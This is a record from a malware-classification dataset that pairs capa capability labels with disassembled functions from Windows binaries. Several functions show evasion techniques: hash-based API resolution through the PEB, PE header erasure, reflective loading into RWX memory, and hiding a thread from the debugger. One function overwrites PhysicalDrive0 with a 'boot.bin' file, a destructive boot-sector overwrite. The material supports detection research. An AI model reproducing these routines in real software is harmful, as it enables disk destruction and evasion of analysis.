joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140027160
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 0x78
call fcn.14003b840
test eax, eax
je 0x14002737c
mov eax, dword [0x140043588]
xor r9d, r9d
cmp dword [0x1400500c8], 2
mov ecx, r9d
movups xmm0, xmmword [0x140043578]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x14004358c]
movups xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x54], al
jl 0x1400272e9
movdqa xmm0, xmmword [0x140043780]
lea rdx, [rsp + 0x44]
movdqa xmm5, xmmword [0x1400436f0]
movdqa xmm4, xmmword [0x1400437b0]
movdqa xmmword [rsp + 0x20], xmm0
mov r8d, dword [rsp + 0x20]
movaps xmmword [rsp + 0x60], xmm6
movdqa xmm6, xmmword [0x140043720]
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140043750]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140043750]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x1400271e0
movaps xmm6, xmmword [rsp + 0x60]
cmp ecx, 0x15
jge 0x14002732d
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x31
xor byte [r8 - 1], al
cmp ecx, 0x15
jl 0x140027300
xorps xmm0, xmm0
mov qword [rsp + 0x30], r9
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], r9
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r9b
jne 0x140027350
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140010dc0
lea rcx, [rsp + 0x20]
call fcn.14001fc30
mov eax, 0x1000
add rsp, 0x78
ret
xor eax, eax
add rsp, 0x78
ret
Function at 0x140027c50
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x28
cmp byte [0x140050f30], 0
jne 0x140027d21
mov rax, qword gs:[0x60]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x20], rdi
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140027cf7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140027cf7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x4400fee2
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140027cf2
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x140027cd0
cmp r8d, 0x2bcdbf3a
je 0x140027cfc
test r9d, r9d
jne 0x140027cb0
mov rax, qword [rax]
jmp 0x140027c80
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor ecx, ecx
add rax, r10
call rax
mov rdi, qword [rsp + 0x20]
mov rbx, qword [rsp + 0x30]
add rsp, 0x28
ret
Function at 0x140035890
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push rdi
sub rsp, 0x30
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor ecx, ecx
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea r9, [rsp + 0x20]
mov edx, 0x1000
mov rcx, rax
mov r8d, 4
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx + 0x10]
mov eax, dword [rdx + 0x30]
add eax, 0x10000000
mov dword [rdx + 0x40], eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14003d6b0
add rsp, 0x30
pop rdi
ret

Function at 0x140035910
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x60
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbp, rcx
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rdi, rax
test rax, rax
jne 0x140035941
xor ebx, ebx
mov eax, ebx
jmp 0x140035aac
xorps xmm0, xmm0
mov qword [rsp + 0x88], rsi
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x90], r14
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx esi, word [rdi + 0x14]
xor ebx, ebx
movzx r8d, word [rdi + 6]
add rsi, rdi
mov r14d, dword [rsp + 0x48]
movzx edx, bx
cmp bx, r8w
jae 0x1400359c4
mov r10, qword [rdi + 0x30]
lea r11d, [r14 - 1]
nop dword [rax]
nop word [rax + rax]
movzx eax, dx
lea rcx, [rax + rax*4]
mov eax, dword [rsi + rcx*8 + 0x24]
mov ecx, ebx
add rax, r10
test r11, rax
sete cl
test r11, rax
jne 0x1400359d1
inc dx
cmp dx, r8w
jb 0x1400359a0
lea ecx, [r14 - 1]
test qword [rdi + 0x30], rcx
mov ecx, ebx
sete cl
test ecx, ecx
je 0x140035a9a
mov edx, dword [rdi + 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
test rax, rax
jne 0x1400359fd
mov eax, ebx
jmp 0x140035a9c
mov rdx, r14
mov rcx, rdi
call fcn.140035ad0
lea rax, [0x140035b70]
mov rcx, r14
sub rax, rbp
add rax, r14
call rax
mov edi, eax
test eax, eax
je 0x140035a85
mov rcx, rbp
call qword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov rsi, rax
test rax, rax
jne 0x140035a35
mov edi, ebx
jmp 0x140035a85
mov qword [rsp + 0x98], r15
movzx r15d, word [rax + 0x14]
add r15, rsi
cmp bx, word [rax + 6]
jae 0x140035a73
nop dword [rax + rax]
movzx eax, bx
lea rdx, [rax + rax*4]
mov ecx, dword [r15 + rdx*8 + 0x24]
add rcx, rbp
call fcn.140035e20
mov edi, eax
test eax, eax
je 0x140035a7d
inc bx
cmp bx, word [rsi + 6]
jb 0x140035a50
mov rcx, rbp
call fcn.140035e20
mov edi, eax
mov r15, qword [rsp + 0x98]
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
jmp 0x140035a9c
mov eax, ecx
mov rsi, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14003d6b0
add rsp, 0x60
pop rdi
pop rbp
pop rbx
ret
Function at 0x140035da0
Capabilities:
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x78
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov qword [r11 - 0x28], rdx
mov qword [r11 - 0x20], r8
mov qword [r11 - 0x18], r9
mov eax, dword [rsp + 0xa0]
lea r8, [r11 - 0x28]
mov dword [rsp + 0x48], eax
xor r9d, r9d
mov dword [rsp + 0x40], 0x400000
lea rax, [r11 - 0x20]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x48], rax
lea rax, [r11 - 0x18]
mov qword [r11 - 0x50], rax
lea rdx, [r9 - 1]
mov qword [r11 - 0x58], 0
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
not eax
shr eax, 0x1f
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14003d6b0
add rsp, 0x78
ret

Function at 0x140035e20
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x60
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
lea rdx, [rsp + 0x28]
xor ebx, ebx
mov rdi, rcx
movups xmmword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x38], xmm0
lea r8d, [rbx + 0x30]
movups xmmword [rsp + 0x48], xmm0
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140035e93
mov rdx, qword [rsp + 0x40]
lea r9, [rsp + 0x20]
mov eax, 0x40
mov r8d, 1
cmp dword [rsp + 0x4c], eax
mov rcx, rdi
cmovne r8d, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
sete bl
mov eax, ebx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14003d6b0
mov rbx, qword [rsp + 0x78]
add rsp, 0x60
pop rdi
ret
Function at 0x1400367b0
Capabilities:
Get system information on windows
Hide thread from debugger

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x200]
sub rsp, 0x300
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rbp + 0x1f0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x90], xmm0
xor ecx, ecx
mov qword [rbp + 0xa0], rcx
mov qword [rsp + 0x60], 0xf
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x80], rcx
mov dword [rbp - 0x78], ecx
mov qword [rbp + 0xb8], rcx
mov qword [rbp + 0xc0], rcx
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.GetNativeSystemInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rsp + 0x20]
test rax, rax
je 0x140036854
call rax
jmp 0x14003685a
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, 1
movzx eax, word [rsp + 0x20]
cmp ax, 9
je 0x140036870
cmp ax, 6
jne 0x140036874
mov dword [rsp + 0x70], edi
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlGetVersion
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003689f
lea rcx, [rbp + 0xd0]
call rax
mov eax, dword [rbp + 0xd4]
mov dword [rsp + 0x68], eax
mov eax, dword [rbp + 0xd8]
mov dword [rsp + 0x6c], eax
lea rdx, [rsp + 0x74]
mov rcx, 0xffffffffffffffff
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
cmp dword [rsp + 0x70], 0
je 0x1400368dc
mov eax, dword [rsp + 0x78]
cmp dword [rsp + 0x74], 0
cmovne eax, edi
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x7c], eax
lea rcx, [0x140043628]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.NtSetInformationThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x14003693a
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x11]
lea rcx, [rdx - 0x13]
call rbx
mov edx, 0x11
lea rcx, [rdx - 0x13]
mov r9d, 8
mov r8d, r9d
call rbx
mov ecx, dword [rsp + 0x54]
test eax, eax
cmove ecx, edi
mov dword [rsp + 0x54], ecx
lea rcx, [rsp + 0x50]
call fcn.140036af0
test eax, eax
jne 0x14003695a
lea rcx, [rsp + 0x50]
call fcn.1400371f0
test eax, eax
jne 0x14003695a
mov bl, 1
jmp 0x14003695c
xor bl, bl
mov rdx, qword [rbp - 0x80]
test rdx, rdx
je 0x140036978
mov r9d, 0x8000
xor r8d, r8d
lea rcx, [r8 - 1]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rbp + 0x90]
test rcx, rcx
je 0x1400369bf
mov rdx, qword [rbp + 0xa0]
sub rdx, rcx
and rdx, 0xfffffffffffffff0
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400369ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400369ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14003d230
movzx eax, bl
mov rcx, qword [rbp + 0x1f0]
xor rcx, rsp
call fcn.14003d6b0
lea r11, [rsp + 0x300]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140037c10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rcx
mov eax, 0xffffffff
test edx, edx
je 0x140037c4e
mov r10d, edx
lea r11, [0x140041550]
nop word [rax + rax]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
mov edx, eax
shr eax, 8
xor r8, rdx
movzx ecx, r8b
xor eax, dword [r11 + rcx*4]
sub r10, 1
jne 0x140037c30
not eax
ret

Function at 0x1400394f4
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rbp - 8], rax
xor ebx, ebx
mov word [rbp - 0x14], 0x500
lea rax, [rbp - 0x20]
mov dword [rbp - 0x10], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x18]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp - 0x18], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14003957c
mov rdx, qword [rbp - 0x20]
lea r8, [rbp - 0x10]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x140039572
mov dword [rbp - 0x10], ebx
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rbp - 0x10], ebx
setne al
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14003d6b0
mov rbx, qword [rsp + 0x90]
add rsp, 0x80
pop rbp
ret

Function at 0x140039e74
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rsp + 0x48], rax
and qword [r11 - 0x28], 0
lea rcx, str..PhysicalDrive0
and dword [rsp + 0x28], 0
mov ebx, 3
mov r8d, ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x140039f5e
and qword [rsp + 0x30], 0
lea rcx, str.._boot.bin
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebx
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140039f5e
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov edi, eax
call fcn.14003d238
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140039f60
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14003d6b0
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x140039f84
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x140050080]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rsi, rcx
xor ebx, ebx
xor edx, edx
lea ecx, [rbx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14003a013
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call sub.KERNEL32.dll_Process32FirstW
jmp 0x14003a009
lea rdx, [rsp + 0x4c]
mov rax, rsi
sub rdx, rsi
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140039ff8
add rax, 2
test r8d, r8d
jne 0x140039fe2
test ecx, ecx
je 0x14003a00f
lea rdx, [rsp + 0x20]
mov rcx, rdi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140039fd7
jmp 0x14003a013
mov ebx, dword [rsp + 0x28]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14003d6b0
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14003c7dc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14003c816
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14003c81b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14003c864
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400410c0]
cmp byte [rcx + rax], 0
je 0x14003c864
dec r8
sub rdx, 1
jne 0x14003c84a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x14003dda4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003ddee
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003ddee
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003ddee
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003ddee
cmp dword [rcx + 0x84], 0xe
jbe 0x14003ddee
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003ddf0
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4d04d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d15b0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d0ed2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f3108]
test eax, eax
je 0x2fc4d0f6a
lea rax, [0x2fc4f30e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f3110]
mov qword [rbp - 8], rax
jmp 0x2fc4d0f4e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d0f42
cmp qword [rbp - 0x10], 0
je 0x2fc4d0f42
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d0f08
lea rax, [0x2fc4f30e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d0f6b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1070
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1098
mov eax, 0
jmp 0x2fc4d10e6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d10c1
mov eax, 0
jmp 0x2fc4d10e6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d10e1
mov eax, 0
jmp 0x2fc4d10e6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d10ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d116a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d1161
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d1161
mov rax, qword [rbp - 8]
jmp 0x2fc4d117f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d1134
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d11a0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d2280
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d1ba2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4f4108]
test eax, eax
je 0x2fc4d1c3a
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4f4110]
mov qword [rbp - 8], rax
jmp 0x2fc4d1c1e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d1c12
cmp qword [rbp - 0x10], 0
je 0x2fc4d1c12
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d1bd8
lea rax, [0x2fc4f40e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d1c3b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d1d40
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d1d68
mov eax, 0
jmp 0x2fc4d1db6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d1d91
mov eax, 0
jmp 0x2fc4d1db6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d1db1
mov eax, 0
jmp 0x2fc4d1db6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d1dbc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
